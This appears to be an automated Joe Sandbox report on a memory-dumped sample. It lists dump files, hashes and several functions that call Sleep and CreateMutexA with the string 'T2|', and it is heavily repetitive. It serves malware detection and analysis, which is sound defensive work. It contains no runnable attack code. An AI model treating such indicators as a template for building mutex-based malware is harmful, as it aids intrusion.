Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: b3730829e93a9936b3b41b58d0324bc6964fad695cfd15d11ab6d00489a1d15f
Instruction ID: be470ad89ccbdf3f370aaa3e46615c76dbdad1bba6f219f2af8ee5c75311d019
Opcode Fuzzy Hash: b3730829e93a9936b3b41b58d0324bc6964fad695cfd15d11ab6d00489a1d15f
Instruction Fuzzy Hash: F1312831610204ABEF189B7CDD89B5DB772EF86314F208719E816E73D5D77E69808A13

Function 0076A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 83174d831c6e348bea0ae1a9de108952367255a8a87ba23b77207911e5fa8932
Instruction ID: 0c24901a62ae6861affea040a0a76416462a01e8734928b43bca2529b2e5bdd4
Opcode Fuzzy Hash: 83174d831c6e348bea0ae1a9de108952367255a8a87ba23b77207911e5fa8932
Instruction Fuzzy Hash: 83312831A00200AFEF189B7CDC89B5DB772EFC6314F248719E815E72D5D77E69808A12

Function 0076A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 1ef803ddb0046044a09a753444faf4566fde7dc3be1f26feec0a17299dca3055
Instruction ID: 6f5281ec3b24a31988856ca9efdb28c2770846f56472b6e7b7922fd7fa4edda6
Opcode Fuzzy Hash: 1ef803ddb0046044a09a753444faf4566fde7dc3be1f26feec0a17299dca3055
Instruction Fuzzy Hash: 94312B31600240A7EF189B7CDD89B6DB771EF82314F248719E815E72D5DBBD69808A52

Function 0076A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295817924.0000000000987000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295869755.0000000000991000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295925431.00000000009A7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295996034.00000000009A8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296039350.00000000009A9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296068701.00000000009AE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296098655.00000000009B5000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296135068.00000000009B6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296167571.00000000009B7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296210889.00000000009B8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296242416.00000000009B9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296279780.00000000009C0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296310618.00000000009C1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296341537.00000000009C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296369732.00000000009CF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296397735.00000000009D1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296435745.00000000009D2000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296500520.00000000009D9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296548650.00000000009E0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296596787.00000000009E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296627211.00000000009E3000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296661578.00000000009EB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296697593.00000000009FE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296730490.00000000009FF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296762599.0000000000A0C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A0E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296795686.0000000000A2D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296873207.0000000000A43000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296907625.0000000000A45000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296943274.0000000000A59000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2296974941.0000000000A5A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297009123.0000000000A5B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297040999.0000000000A5F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297074464.0000000000A61000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297110804.0000000000A6F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2297144690.0000000000A70000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_760000_ECPOM47708SKW2N887NP33WQCGSG.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2|
API String ID: 1464230837-540489240
Opcode ID: 1d117304b19fb3fe06f5f84bf5fa98298d83d91f3f754dd71fb38f6e87a07f42
Instruction ID: c6b25460277acc80162effd8291229388035b727151e517aafad5c8508992f2d
Opcode Fuzzy Hash: 1d117304b19fb3fe06f5f84bf5fa98298d83d91f3f754dd71fb38f6e87a07f42
Instruction Fuzzy Hash: 10310931600200ABEB18DB78DC89B6DB771EF86314F248719E856E72D6D77D99808A22

Function 0076A682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0076A963
CreateMutexA.KERNEL32(00000000,00000000,007C3254), ref: 0076A981

Strings

T2|, xrefs: 0076A970

Memory Dump Source

Source File: 00000005.00000002.2294419353.0000000000761000.00000040.00000001.01000000.00000008.sdmp, Offset: 00760000, based on PE: true

Associated: 00000005.00000002.2294375676.0000000000760000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294419353.00000000007C2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294570330.00000000007C9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294616265.00000000007CB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294659895.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294922477.0000000000928000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2294982449.000000000092A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295089986.0000000000941000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295189425.0000000000944000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.0000000000945000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295240930.000000000094D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295342031.0000000000955000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295388882.0000000000956000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295434841.0000000000957000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295465475.0000000000958000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295537926.0000000000968000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295574022.0000000000969000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295637127.000000000097B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295668453.000000000097D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295722717.000000000097E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.2295769191.000000000097F000.00000040.00000001.01000000.00000008.sdmpDownload File
